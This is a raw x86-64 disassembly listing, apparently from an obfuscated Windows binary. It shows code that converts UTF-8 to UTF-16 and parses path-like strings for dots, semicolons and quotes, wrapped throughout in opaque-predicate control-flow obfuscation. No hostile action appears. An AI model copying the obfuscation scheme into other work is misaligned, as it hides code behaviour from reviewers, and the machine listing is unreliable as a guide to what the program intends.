mov ecx, eax
not ecx
mov edx, eax
and edx, 0x36169960
and ecx, 0x9e9669e
imul ecx, edx
mov edx, eax
and edx, 0x9e9669e
or eax, 0x9e9669e
imul eax, edx
add eax, ecx
or eax, 0xc664f564
cmp eax, 0x8d2a6132
jb 0x140177760
nop word cs:[rax + rax]
mov eax, dword [0x14159fce8]
xor eax, dword [0x14159fcec]
add eax, 0x92e8e624
and eax, 0xaba08343
cmp eax, 0xe8257353
ja 0x1401777b0
test r15, r15
js 0x140179e2d
movzx eax, byte [0x1415acbd0]
xor ecx, ecx
mov rdx, r15
call fcn.1401ac910
test rax, rax
je 0x140179e5e
mov rdi, rax
mov eax, dword [0x14159fd00]
mov ecx, dword [0x14159fd04]
mov edx, eax
and edx, ecx
xor eax, ecx
lea eax, [rax + rdx*2]
mov ecx, eax
not ecx
and ecx, 0xcc76ee8a
mov edx, eax
and edx, 0x33891175
imul edx, ecx
mov ecx, eax
and ecx, 0xcc76ee8a
or eax, 0xcc76ee8a
imul eax, ecx
add eax, edx
mov ecx, eax
and ecx, 0x61a46ccc
add ecx, ecx
sub eax, ecx
mov ecx, eax
add ecx, 0x61a46ccd
not ecx
or ecx, 0x792ca466
add eax, ecx
add eax, 0x61a46ccd
cmp eax, 0x6a1b1c4c
jne 0x1401778c2
mov rcx, rdi
mov rdx, r12
mov r8, r15
call fcn.14021bb50
mov qword [rsp + 0x210], r15
mov qword [rsp + 0x218], rdi
mov qword [rsp + 0x220], r15
mov qword [rsp + 0x228], 0
lea rdx, [0x141578ba8]
lea rcx, [rsp + 0x210]
mov r8d, 4
call fcn.14020ce70
mov rdx, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
lea rcx, [rsp + 0x150]
call fcn.14020d120
lea rbp, [rsp + 0x150]
mov r13, r15
mov r14, r12
mov r12d, dword [0x14159fd08]
mov eax, dword [0x14159fd0c]
mov ecx, eax
and ecx, r12d
add r12d, eax
sub r12d, ecx
mov eax, r12d
not eax
or eax, 0x208020a1
or r12d, 0x5f5ad75e
and r12d, eax
not r12d
mov eax, r12d
or eax, 0xc1354f4c
or r12d, 0xd97fdfcc
sub r12d, eax
mov rcx, rdi
mov rdx, r14
mov r8, r13
call fcn.14021bb50
mov qword [rsp + 0x210], r13
mov qword [rsp + 0x218], rdi
mov qword [rsp + 0x220], r13
mov qword [rsp + 0x228], 0
mov r8d, 4
lea rcx, [rsp + 0x210]
lea rdx, [0x141578ba8]
call fcn.14014bed0
mov r15, qword [rsp + 0x210]
mov rsi, qword [rsp + 0x218]
mov rbx, qword [rsp + 0x220]
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
call fcn.14018eca0
cmp r12d, 0xc0474f7d
ja 0x1401778d0
mov rax, qword [rsp + 0x150]
nop dword [rax + rax]
mov ecx, dword [0x14159fd10]
mov edx, dword [0x14159fd14]
mov r8d, edx
not r8d
mov r9d, ecx
and r9d, r8d
or r8d, ecx
not r8d
imul r8d, r9d
mov r9d, ecx
and r9d, edx
or ecx, edx
imul ecx, r9d
add ecx, r8d
mov edx, ecx
xor edx, 0x7ebdbdf7
or ecx, 0x81424208
and ecx, edx
mov edx, ecx
or edx, 0x5ab5b587
not ecx
and ecx, 0x81004270
mov r8d, edx
and r8d, 0x644e380d
or r8d, ecx
xor r8d, 0xaf8042a0
and edx, 0x34318552
or edx, r8d
cmp edx, 0x7b93f5
jb 0x1401779a0
movabs r14, 0x8000000000000000
cmp rax, r14
jne 0x140178039
mov eax, dword [0x14159fd78]
or eax, dword [0x14159fd7c]
xor eax, 0xba483e71
imul rax, rax, 0x42a154cf
shr rax, 0x3d
add eax, 0x578f44e1
cmp eax, 0xdcb771bd
jbe 0x140177a60
mov rcx, rsi
mov rdx, rbx
call fcn.14020d0e0
nop dword [rax]
mov eax, dword [0x14159fd80]
xor eax, dword [0x14159fd84]
or eax, 0x80417cbd
imul rax, rax, 0x71f26ee1
shr rax, 0x3c
mov edi, eax
xor edi, 0x21509fd7
add edi, eax
mov rcx, rsi
mov rdx, rbx
call fcn.14020d0e0
cmp edi, 0x4900e522
ja 0x140177a60
mov rcx, rax
mov r8, rdx
nop
mov eax, dword [0x14159fd88]
add eax, dword [0x14159fd8c]
xor eax, 0x55f321a2
imul eax, eax, 0xa9dbd404
mov edx, eax
and edx, 0x70d12940
add edx, edx
neg edx
add eax, edx
add eax, 0xf0d12941
cmp eax, 0x22ce7b1
jb 0x140177aa0
test rcx, rcx
je 0x140179912
xor eax, eax
nop dword [rax]
test al, al
jne 0x140177ae0
cmp r8, 2
jne 0x140178064
nop
mov eax, dword [0x14159fd90]
xor eax, dword [0x14159fd94]
mov edx, eax
not edx
or eax, 0x4e080080
and edx, 0xb046cc02
and eax, 0x4eb821dd
or eax, edx
mov edx, eax
xor edx, 0x91b495af
add edx, eax
and eax, 0x6e4a6850
sub edx, eax
cmp edx, 0xca08dcdd
jb 0x140177af0
movzx eax, word [rcx]
cmp eax, 0x2e2e
jne 0x140178064
mov eax, 2
xor r9d, r9d
jmp 0x1401796f1
lea rcx, [r12 + r15]
xor eax, eax
lea rdi, [0x141578b58]
mov r9, r12
mov r14, r13
jmp 0x140177b6c
xor eax, eax
test r8w, r8w
je 0x14017a889
mov r8w, 1
test ax, ax
jne 0x140177b60
nop word cs:[rax + rax]
mov eax, dword [0x14159fc90]
mov edx, dword [0x14159fc94]
mov r10d, eax
xor r10d, edx
not edx
and edx, eax
add edx, edx
sub edx, r10d
xor edx, 0x9070c930
cmp edx, 0xfd533860
ja 0x140177b80
nop dword [rax]
mov eax, dword [0x14159fc98]
sub eax, dword [str.F2z_8]
mov edx, eax
not edx
or edx, 0x158170ee
add edx, eax
mov eax, 0x961e6183
sub eax, edx
and eax, 0x1035320b
cmp eax, 0xb357a432
ja 0x140177bb0
cmp r9, rcx
je 0x140177f10
nop word cs:[rax + rax]
mov eax, dword [0x14159fca0]
mov edx, dword [0x14159fca4]
mov r10d, edx
not r10d
mov r11d, eax
and r11d, r10d
or r10d, eax
not r10d
imul r10d, r11d
mov r11d, eax
and r11d, edx
or eax, edx
imul eax, r11d
add eax, r10d
not eax
and eax, 0x3e9a3f27
cmp eax, 0x54683555
je 0x140177bf0
lea r11, [r9 + 1]
movzx r10d, byte [r9]
nop word [rax + rax]
mov eax, dword [0x14159fca8]
xor edx, edx
div dword [0x14159fcac]
imul rax, rax, 0x4453eaa9
shr rax, 0x3a
mov edx, eax
not edx
or edx, 0xe39d1a62
and edx, 0xe39d1a67
and eax, 0xfffffff8
or eax, edx
xor eax, 0xfa16a5fa
cmp eax, 0x6ea38bc2
ja 0x140177c40
test r10b, r10b
js 0x140177cd0
nop
mov eax, dword [0x14159fcc0]
mov edx, dword [0x14159fcc4]
mov r8d, eax
and r8d, edx
or eax, edx
not eax
or eax, r8d
not eax
add eax, 0x95f1cc19
imul rdx, rax, 0xce3e143
shr rdx, 0x20
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1e
add eax, 0x1587f3d3
cmp eax, 0x7085722
jbe 0x140177c80
jmp 0x140177e90
mov eax, dword [0x14159fcb0]
add eax, dword [0x14159fcb4]
mov edx, eax
not edx
and edx, 0x6dec1c4d
mov r11d, eax
and r11d, 0x9213e3b2
imul r11d, edx
mov edx, eax
and edx, 0x6dec1c4d
or eax, 0x6dec1c4d
imul eax, edx
add eax, r11d
mov edx, eax
not edx
mov r11d, eax
and r11d, 0x70ba3e80
and edx, 0x8f45c17f
imul edx, r11d
mov r11d, eax
and r11d, 0x8f45c17f
or eax, 0x8f45c17f
imul eax, r11d
add eax, edx
xor eax, 0x8bbfde81
cmp eax, 0x6c9e4313
ja 0x140177cd0
mov eax, r10d
and eax, 0x1f
mov edx, dword [str.BDte]
mov r11d, dword [0x14159fcbc]
mov esi, edx
and esi, r11d
not edx
not r11d
and r11d, edx
not esi
not r11d
and r11d, esi
add r11d, 0x701370bf
or r11d, 0xfffff7ab
cmp r11d, 0x9eaa04fb
jb 0x140177d46
lea r11, [r9 + 2]
movzx ebx, byte [r9 + 1]
mov edx, eax
shl edx, 6
mov esi, ebx
xor sil, 0xc0
or bl, 0x3f
and bl, sil
movzx esi, bl
cmp r10b, 0xdf
jbe 0x140177e88
nop word cs:[rax + rax]
mov edx, dword [0x14159fcc8]
imul edx, dword [str.d.gc]
add edx, 0x69fb39d5
mov r11d, edx
xor r11d, 0x456418a3
xor edx, 0xb099e30c
or edx, 0x4a661453
add edx, r11d
inc edx
cmp edx, 0xbc4f4462
ja 0x140177db0
lea r11, [r9 + 3]
movzx edx, byte [r9 + 2]
shl esi, 6
mov ebx, edx
not bl
or bl, 0x3f
add bl, dl
inc bl
movzx edx, bl
or edx, esi
cmp r10b, 0xf0
jb 0x140177ee4
mov rbx, rdi
nop
mov r10d, dword [0x14159fcd0]
add r10d, dword [0x14159fcd4]
mov esi, r10d
not esi
and esi, 0xab652a62
mov edi, r10d
and edi, 0x549ad59d
imul edi, esi
mov esi, r10d
and esi, 0xab652a62
or r10d, 0xab652a62
imul r10d, esi
add r10d, edi
imul r10d, r10d, 0x260a8c6c
cmp r10d, 0x282e8900
jb 0x140177e10
add r9, 4
movzx r10d, byte [r11]
and eax, 7
shl eax, 0x12
shl edx, 6
and r10d, 0x3f
or r10d, edx
or r10d, eax
mov r11, r9
mov rdi, rbx
cmp r10d, 0xffff
jbe 0x140177e90
jmp 0x140177ef5
or edx, esi
mov r10d, edx
nop dword [rax]
mov eax, dword [0x14159fcd8]
mov edx, dword [0x14159fcdc]
mov r8d, edx
not r8d
mov r9d, eax
and r9d, r8d
or r8d, eax
not r8d
imul r8d, r9d
mov r9d, eax
and r9d, edx
or eax, edx
imul eax, r9d
add eax, r8d
or eax, 0x13eb73ed
add eax, 0x47413bf2
xor eax, 0xa0950b88
cmp eax, 0xcf0a49f2
jae 0x140177e90
xor eax, eax
mov r9, r11
mov r8d, r10d
jmp 0x140177b62
shl eax, 0xc
or edx, eax
mov r10d, edx
cmp r10d, 0xffff
jbe 0x140177e90
and r10d, 0x3ff
or r10d, 0xdc00
mov r9, r11
mov eax, r10d
jmp 0x140177b62
mov eax, dword [0x14159fe10]
sub eax, dword [0x14159fe14]
xor eax, 0x30111125
and eax, 0xf01d3527
imul eax, eax, 0x24b308f4
cmp eax, 0xa14965f2
ja 0x140177f10
cmp r15, 0xf
mov r10, rbp
ja 0x140178137
xor eax, eax
mov qword [rsp + 0x148], rax
mov ecx, 0x838c38db
xor r8d, r8d
nop word cs:[rax + rax]
mov eax, dword [0x14159fe20]
or eax, dword [0x14159fe24]
mov edx, eax
not edx
mov r9d, eax
and r9d, 0xc49217e0
and edx, 0x3b6de81f
imul edx, r9d
mov r9d, eax
and r9d, 0x3b6de81f
or eax, 0x3b6de81f
imul eax, r9d
add eax, edx
or eax, 0x3f7e6152
add eax, 0xf5b34de7
cmp eax, 0xd47b7189
ja 0x140177f60
cmp byte [r12 + r8], 0x2e
je 0x140178222
nop word cs:[rax + rax]
mov eax, dword [0x14159fe28]
add eax, dword [0x14159fe2c]
imul rax, rax, 0x8d1dcf3
shr rax, 0x3a
and eax, 0xfffffffe
xor eax, 0xa79cd3b7
cmp eax, 0xa2cc0273
jb 0x140177fc0
inc r8
nop dword [rax]
mov eax, dword [0x14159fe30]
xor edx, edx
div dword [0x14159fe34]
imul rax, rcx
shr rax, 0x3a
mov edx, eax
not edx
or edx, 0x2500cf66
and edx, 0xf539cff7
and eax, 8
or edx, eax
xor edx, 0x346014fb
or edx, eax
cmp edx, 0x4e510909
jb 0x140177ff0
cmp r8, r15
jne 0x140177f60
jmp 0x14017822f
mov eax, dword [0x14159fd68]
xor eax, dword [0x14159fd6c]
add eax, 0x488ccdea
and eax, 0x53a0da80
add eax, 0xbff47c25
cmp eax, 0xab650cc0
jb 0x14017d359
jmp 0x14017d303
lea r9, [rcx + r8]
mov rax, r8
nop dword [rax + rax]
cmp r9, rcx
je 0x140178215
mov rdx, rax
dec r9
dec rax
nop word cs:[rax + rax]
mov r10d, dword [0x14159fd98]
mov r11d, dword [0x14159fd9c]
mov edi, r10d
and edi, r11d
add edi, edi
add r10d, r11d
sub r10d, edi
add r10d, 0x8fa65c42
mov r11d, r10d
not r11d
mov edi, r10d
and edi, 0x1473b83f
and r11d, 0xeb8c47c0
imul r11d, edi
mov edi, r10d
and edi, 0xeb8c47c0
or r10d, 0xeb8c47c0
imul r10d, edi
add r10d, r11d
mov r11d, r10d
not r11d
or r10d, 0xa917ad66
or r11d, 0x56e852bf
and r11d, r10d
cmp r11d, 0xa5bd0b4f
ja 0x140178090
cmp byte [r9], 0x2e
jne 0x140178070
test rax, rax
je 0x1401796bc
mov r10, r8
not r10
and r10, rdx
mov r9, rcx
add r9, rdx
not rdx
and rdx, r8
sub rdx, r10
mov r8, rdx
jmp 0x1401796f1
mov rsi, r10
mov eax, dword [0x14159fe18]
xor edx, edx
div dword [0x14159fe1c]
shr eax, 1
imul rax, rax, 0x11c687
shr rax, 0x32
imul eax, eax, 0xd3506523
or eax, 0x169442e2
cmp eax, 0x8e083e1f
jbe 0x140178174
mov cl, 0x2e
mov rdx, r12
mov r8, r15
call fcn.14020d1c0
mov cl, 0x2e
mov rdx, r12
mov r8, r15
call fcn.1400c1930
mov qword [rsp + 0x148], rax
mov r10, rsi
jmp 0x14017822f
mov rdx, qword [rsp + 0x220]
mov qword [rsp + 0x210], rcx
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x220], rdx
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0x210]
call fcn.14018f590
jmp 0x140179f20
call fcn.14020d0c0
ud2
mov r9, rcx
mov rax, r8
xor ecx, ecx
jmp 0x1401796f1
mov eax, 1
mov qword [rsp + 0x148], rax
test r10, r10
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], r12
je 0x140178f9c
add r14, r10
nop dword [rax + rax]
mov eax, dword [0x14159fe3c]
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [0x14159fe38]
xor ecx, eax
imul eax, ecx, 0x559efdfe
mov ecx, eax
xor ecx, 0x272fdc63
and eax, 0x58d0239c
add eax, eax
sub eax, ecx
cmp eax, 0xeb079541
je 0x140178250
mov byte [rsp + 0x90], 1
xor ebx, ebx
mov esi, 0xa2df2867
xor ebp, ebp
mov qword [rsp + 0x58], r14
nop dword [rax + rax]
test bl, bl
jne 0x1401789b0
nop dword [rax + rax]
mov eax, dword [0x14159ff08]
mov ecx, dword [0x14159ff0c]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
imul eax, eax, 0x413b44cd
or eax, 0x909ec6e
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb0], 0
cmp eax, 0xf04781ed
ja 0x1401789b0
mov ecx, 2
xor ebx, ebx
mov r13, r10
mov r12d, ebp
xor edi, edi
nop word cs:[rax + rax]
mov eax, dword [0x14159ff10]
mov edx, dword [0x14159ff14]
not eax
not edx
or edx, eax
not edx
or edx, 0x8c54210a
imul eax, edx, 0xeafb377d
cmp eax, 0x292fabb5
je 0x140178330
jmp 0x140178590
mov eax, dword [0x14159ff54]
mov edx, eax
xor edx, eax
not edx
and edx, dword [0x14159ff50]
xor edx, eax
add edx, 0x52aa17bb
mov eax, edx
xor eax, 0x21ffec73
and edx, 0x5e00138c
add edx, edx
sub edx, eax
cmp edx, 0xd213fbeb
ja 0x140178360
and dil, 1
nop word [rax + rax]
mov eax, dword [0x14159ff58]
mov edx, dword [0x14159ff5c]
mov r8d, edx
not r8d
and r8d, eax
xor edx, eax
add edx, eax
sub edx, r8d
mov eax, edx
and eax, 0x67eefe55
xor edx, 0xe7eefe55
lea eax, [rdx + rax*2]
mov edx, eax
xor edx, 0x3f640664
and edx, eax
mov eax, edx
not eax
mov r8d, edx
and r8d, 0xdfb794a5
and eax, 0x20486b5a
imul eax, r8d
mov r8d, edx
and r8d, 0x20486b5a
or edx, 0x20486b5a
imul edx, r8d
add edx, eax
cmp edx, 0x91ff2afd
jb 0x1401783a0
xor dil, 1
nop
mov eax, dword [0x14159ff60]
mov edx, dword [0x14159ff64]
mov r8d, eax
not r8d
and r8d, edx
mov r9d, edx
not r9d
and r9d, eax
imul r9d, r8d
mov r8d, eax
and r8d, edx
or eax, edx
imul eax, r8d
add eax, r9d
and eax, 0x61a564f8
imul eax, eax, 0x4955bac8
mov edx, eax
not edx
or edx, 0xd2ff6829
add eax, edx
inc eax
cmp eax, 0xa46d60a0
jbe 0x140178410
mov r12d, r15d
jmp 0x140178590
add r13, 3
shl eax, 0xc
or edx, eax
mov r12d, edx
nop word cs:[rax + rax]
mov eax, dword [0x14159ff38]
mov edx, dword [0x14159ff3c]
mov r8d, eax
not r8d
and r8d, edx
mov r9d, edx
not r9d
and r9d, eax
imul r9d, r8d
mov r8d, eax
and r8d, edx
or eax, edx
imul eax, r8d
add eax, r9d
or eax, 0x8c8c7e1b
mov edx, eax
xor edx, 0xde8772bf
and eax, 0x21788d40
add eax, eax
sub eax, edx
xor eax, 0xaca865e3
cmp eax, 0xb7d3933b
je 0x140178480
cmp r12d, 0xffff
jbe 0x140178647
mov edx, r12d
and edx, 0xff0000
mov eax, r12d
or eax, 0xff0000
add eax, edx
nop word cs:[rax + rax]
mov edx, dword [0x14159ff48]
mov r8d, dword [0x14159ff4c]
mov r9d, edx
xor r9d, r8d
not r9d
and r9d, r8d
add r9d, r9d
sub r8d, r9d
add r8d, edx
mov edx, r8d
xor edx, 0x1fb217ff
or r8d, 0xe04de800
and r8d, edx
imul rdx, r8, 0x5ee351d
shr rdx, 0x39
or edx, 0xdca136a2
cmp edx, 0xfa538e22
ja 0x140178500
shr eax, 0xa
mov edx, eax
xor edx, 0xffffd800
and eax, 0x3fd800
or eax, edx
and r12d, 0x3ff
or r12d, 0xdc00
mov ebp, r12d
mov r10, r13
mov r15d, r12d
mov r12d, eax
cmp r12w, 0x3b
jl 0x1401787f5
jmp 0x140178802
test r12w, r12w
je 0x1401785b0
xor ebp, ebp
xor r15d, r15d
cmp r12w, 0x3b
jl 0x1401787f5
jmp 0x140178802
mov eax, dword [str.OG4A]
mov edx, dword [0x14159ff1c]
mov r8d, eax
xor r8d, edx
not r8d
and r8d, edx
add r8d, r8d
sub edx, r8d
add edx, eax
mov eax, edx
and eax, 0x572688a0
add eax, eax
sub edx, eax
add edx, 0x572688a0
xor edx, 0x76f5bc03
add edx, 0x17becc9b
cmp edx, 0xaca6e06b
ja 0x1401785b0
cmp r13, r14
je 0x1401789e0
movzx r12d, byte [r13]
test r12b, r12b
js 0x140178650
inc r13
nop dword [rax + rax]
mov eax, dword [0x14159ff30]
mov edx, dword [0x14159ff34]
not eax
not edx
or edx, eax
not edx
imul rdx, rsi
shr rdx, 0x3f
lea eax, [rdx + 0x1c2acf28]
not eax
or eax, 0x27276742
add eax, edx
add eax, 0x1c2acf29
cmp eax, 0x57b3a6d4
ja 0x140178610
mov r10, r13
jmp 0x140178790
mov eax, dword [0x14159ff20]
add eax, dword [0x14159ff24]
mov edx, eax
not edx
mov r8d, eax
and r8d, 0x55900305
and edx, 0xaa6ffcfa
imul edx, r8d
mov r8d, eax
and r8d, 0xaa6ffcfa
or eax, 0xaa6ffcfa
imul eax, r8d
add eax, edx
imul eax, eax, 0x853a951a
mov edx, eax
xor edx, 0xbd9f8320
and edx, eax
cmp edx, 0xfdf976d1
ja 0x140178650
mov eax, r12d
and eax, 0x1f
lea r10, [r13 + 2]
mov edx, eax
shl edx, 6
movzx r8d, byte [r13 + 1]
nop word cs:[rax + rax]
mov r9d, dword [0x14159ff28]
sub r9d, dword [0x14159ff2c]
add r9d, 0xf17d50b3
cmp r9d, 0x4c37698
jb 0x1401786c0
and r8d, 0x3f
cmp r12b, 0xdf
jbe 0x14017878a
movzx edx, byte [r13 + 2]
shl r8d, 6
mov r9d, edx
xor r9d, 0xc0
and r9d, edx
mov edx, r8d
not edx
mov r10d, r9d
not r10d
mov r11d, edx
and r11d, 0x6e71c704
and r8d, 0x8c0
or r8d, r11d
or edx, r10d
and r10d, 0x6e71c704
and r9d, 0xfffffffb
or r9d, r10d
xor r9d, r8d
not edx
or edx, r9d
cmp r12b, 0xf0
jb 0x140178469
movzx r8d, byte [r13 + 3]
add r13, 4
shl eax, 0x12
mov r9d, eax
not r9d
or r9d, 0x1c0000
add eax, r9d
inc eax
shl edx, 6
not r8d
not edx
or r8d, 0xffffffc0
and r8d, edx
not r8d
mov r12d, r8d
xor r12d, eax
not eax
and eax, r8d
add r12d, r8d
sub r12d, eax
jmp 0x140178480
or edx, r8d
mov r12d, edx
mov eax, dword [0x14159ff40]
mov edx, dword [0x14159ff44]
mov r8d, edx
not r8d
mov r9d, eax
and r9d, r8d
or r8d, eax
not r8d
imul r8d, r9d
mov r9d, eax
and r9d, edx
or eax, edx
imul eax, r9d
add eax, r8d
mov edx, eax
xor edx, 0x35e8683e
xor eax, 0x5cc77c52
and eax, edx
mov edx, eax
not edx
and edx, 0x5e90466c
and eax, 0xa16fb993
sub eax, edx
cmp eax, 0xafeddc99
jae 0x140178790
xor r15d, r15d
mov r13, r10
cmp r12w, 0x3b
jge 0x140178802
cmp r12w, 0x22
je 0x140178360
jmp 0x14017884b
jne 0x14017884b
nop word cs:[rax + rax]
mov eax, dword [0x14159ff68]
xor edx, edx
div dword [0x14159ff6c]
or eax, 0xa4722095
mov edx, eax
xor edx, 0x1eedaa52
xor eax, 0x10890a42
and eax, 0x50894bc2
add eax, eax
sub edx, eax
cmp edx, 0x46d4aae1
je 0x140178810
test dil, 1
je 0x140178b5a
cmp rbx, qword [rsp + 0xa0]
jne 0x140178941
mov dword [rsp + 0x60], ebp
mov qword [rsp + 0x68], r10
lea rbp, [rsp + 0xa0]
nop word [rax + rax]
mov eax, dword [0x14159ff98]
sub eax, dword [0x14159ff9c]
mov ecx, eax
xor ecx, 0x2501b014
xor eax, 0x801e4481
or ecx, 0x883e4ec1
or eax, 0x77c1b13e
and eax, ecx
mov r14d, eax
not r14d
mov ecx, r14d
and ecx, 0x58192468
and eax, 0xa7e6db97
imul eax, ecx
mov ecx, r14d
and ecx, 0xa7e6db97
or r14d, 0xa7e6db97
imul r14d, ecx
add r14d, eax
mov rcx, rbp
call fcn.140130ea0
cmp r14d, 0xb3ecc8c4
je 0x140178870
mov rcx, qword [rsp + 0xa8]
nop dword [rax]
mov eax, dword [0x14159ffa0]
xor edx, edx
div dword [0x14159ffa4]
add eax, 0x857c795
mov edx, eax
not edx
or edx, 0xda700109
and edx, 0xfbf8838d
and eax, 0x36c52
or eax, edx
cmp eax, 0xebb1b5af
jb 0x1401788e0
mov r14, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
mov ebp, dword [rsp + 0x60]
jmp 0x140178941
mov word [rcx + rbx*2], r12w
lea rax, [rbx + 1]
mov qword [rsp + 0xb0], rax
mov eax, dword [0x14159ffa8]
mov edx, dword [0x14159ffac]
mov r8d, eax
not r8d
and r8d, edx
mov r9d, edx
not r9d
and r9d, eax
imul r9d, r8d
mov r8d, eax
and r8d, edx
or eax, edx
imul eax, r8d
add eax, r9d
or eax, 0xba1ba4d4
imul edx, eax, 0x1d7a5fd
or edx, 0x5a72ccf7
lea rax, [rbx + 1]
mov word [rcx + rbx*2], r12w
mov qword [rsp + 0xb0], rax
cmp edx, 0x57996114
jb 0x140178930
mov rbx, rax
mov r12d, r15d
jmp 0x140178330
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 2
mov qword [rsp + 0xb0], 0
jmp 0x1401782b0
mov dword [rsp + 0x68], 0
cmp byte [rsp + 0x90], 0
movabs r14, 0x8000000000000000
mov r15, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
jne 0x140178a20
test rbx, rbx
jne 0x140178a20
mov r13, r10
mov qword [rsp + 0x210], r14
jmp 0x140178a97
mov r13, r10
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x210]
mov r8, rbx
call fcn.14020d000
nop dword [rax + rax]
mov ecx, dword [0x14159ff70]
mov eax, dword [0x14159ff74]
mov edx, ecx
xor edx, eax
not eax
and eax, ecx
add eax, eax
sub eax, edx
mov ecx, eax
not ecx
or eax, 0x42a979c2
and ecx, 0x11048621
mov edx, eax
and edx, 0xeef2011c
or edx, ecx
xor edx, 0x1c031082
and eax, 0xd0eee61
or eax, edx
mov ecx, eax
xor ecx, 0x71283ac4
add ecx, eax
and eax, 0x8ed7c53b
sub ecx, eax
cmp ecx, 0xf9c5bd57
jb 0x140178a40
mov rax, qword [rsp + 0xa0]
nop
mov ecx, dword [0x14159ff78]
mov edx, dword [0x14159ff7c]
mov r8d, ecx
not r8d
and r8d, edx
not edx
and edx, ecx
sub edx, r8d
or edx, 0xc412c233
cmp edx, 0xe661fab9
je 0x140178aa0
test rax, rax
je 0x140178bcc
nop word cs:[rax + rax]
mov eax, dword [0x14159ff80]
mov ecx, dword [0x14159ff84]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
add eax, 0x6a3b10cd
mov ecx, eax
and ecx, 0x19534f41
add ecx, ecx
sub eax, ecx
add eax, 0x19534f41
or eax, 0x950bce84
cmp eax, 0xa747e33b
jb 0x140178ae0
mov eax, dword [0x14159ff88]
imul eax, dword [0x14159ff8c]
mov rdi, qword [rsp + 0xa8]
and eax, 0x41108802
add eax, 0x36b14819
cmp eax, 0x9011cc3e
ja 0x140178df0
jmp 0x140178b70
mov al, 1
mov dword [rsp + 0x68], eax
jmp 0x1401789e8
mov eax, dword [0x14159ff90]
mov ecx, dword [0x14159ff94]
not eax
not ecx
and ecx, eax
mov ebx, ecx
not ebx
or ebx, 0xd8f0d0d4
and ecx, 0x260e2a0b
mov eax, ebx
and eax, 0x49114520
or eax, ecx
xor eax, 0x33cf3580
and ebx, 0x85218f5f
or ebx, eax
add ebx, 0xc3e80837
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp ebx, 0xf99802aa
jae 0x140178df0
xor ebx, ebx
nop
test bl, bl
jne 0x140178bd0
mov rax, qword [rsp + 0x210]
cmp rax, r14
je 0x140178f9c
nop word cs:[rax + rax]
mov edx, dword [0x14159ffb0]
mov r8d, dword [0x14159ffb4]
mov ecx, edx
not ecx
mov r9d, r8d
not r9d
mov r10d, ecx
and r10d, 0x3b951bcd
and edx, 0xc46ae432
or edx, r10d
or ecx, r9d
and r9d, 0x3b951bcd
and r8d, 0xc46ae432
or r8d, r9d
xor r8d, edx
not ecx
or ecx, r8d
mov edx, ecx
and edx, 0x6aba05c2
add edx, edx
mov r8d, ecx
sub r8d, edx
neg edx
add ecx, edx
add ecx, 0xeaba05c2
not ecx
or ecx, 0xda0b6ac
add ecx, r8d
add ecx, 0xeaba05c3
mov edx, ecx
not edx
and edx, 0x53c9e97f
mov r8d, ecx
and r8d, 0xac361680
imul r8d, edx
mov edx, ecx
and edx, 0x53c9e97f
or ecx, 0x53c9e97f
imul ecx, edx
add ecx, r8d
cmp ecx, 0x6481356f
jb 0x140178bf0
mov r8, qword [rsp + 0x218]
nop word cs:[rax + rax]
mov ecx, dword [0x14159ffb8]
sub ecx, dword [0x14159ffbc]
imul rcx, rcx, 0x2240d7b
shr rcx, 0x36
xor ecx, 0x57b1ed76
add ecx, 0xbbdfadb8
cmp ecx, 0xd52257e4
ja 0x140178cb0
mov rcx, qword [rsp + 0x220]
test rcx, rcx
je 0x140178e06
nop dword [rax]
mov edx, dword [0x14159ffc8]
imul edx, dword [str._oQz2tsN1]
mov r9d, edx
xor r9d, 0xbf80dbe8
xor edx, 0x1468d3b2
add edx, r9d
and r9d, 0x5417f7a5
sub edx, r9d
mov r9d, edx
and r9d, 0x37d7cf2b
or edx, 0x37d7cf2b
add edx, r9d
cmp edx, 0x53304eec
je 0x140178cf0
mov rdx, qword [rsp + 0x228]
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], r8
mov qword [rsp + 0x220], rcx
mov qword [rsp + 0x228], rdx
lea rcx, [rsp + 0x210]
mov rdx, r12
mov r8, r15
call fcn.140158730
cmp qword [rsp + 0x148], 1
je 0x140178d88
lea rcx, [rsp + 0x210]
call fcn.140173e90
mov rdi, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
lea rcx, [rsp + 0xa0]
mov rdx, rdi
call fcn.14018eca0
cmp qword [rsp + 0x210], 0
je 0x140178ef0
mov eax, dword [0x14159ffd0]
mov ecx, dword [0x14159ffd4]
mov edx, eax
xor edx, ecx
not edx
or eax, ecx
and eax, edx
or eax, 0x48e4bf1
and eax, 0x87ce4bf3
cmp eax, 0xf0aff79e
mov r8d, 0x960d3e53
ja 0x140178f90
jmp 0x140178e60
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call fcn.14020ae70
jmp 0x140178b70
test rax, rax
je 0x140178e1a
mov rcx, qword [0x1415acb98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, qword [rsp + 0x58]
nop
mov eax, dword [0x14159ffc0]
xor edx, edx
div dword [0x14159ffc4]
mov ecx, eax
xor ecx, 0x2e0c8c86
and ecx, eax
imul eax, ecx, 0x17a6da7f
add eax, 0xb84f3f7e
cmp eax, 0x768a9a4a
jb 0x140178e20
mov eax, dword [rsp + 0x68]
mov byte [rsp + 0x90], al
mov r10, r13
jmp 0x1401782a0
mov eax, dword [0x14159ffd8]
mov edx, dword [0x14159ffdc]
xor edx, eax
not edx
and edx, eax
imul rdx, r8
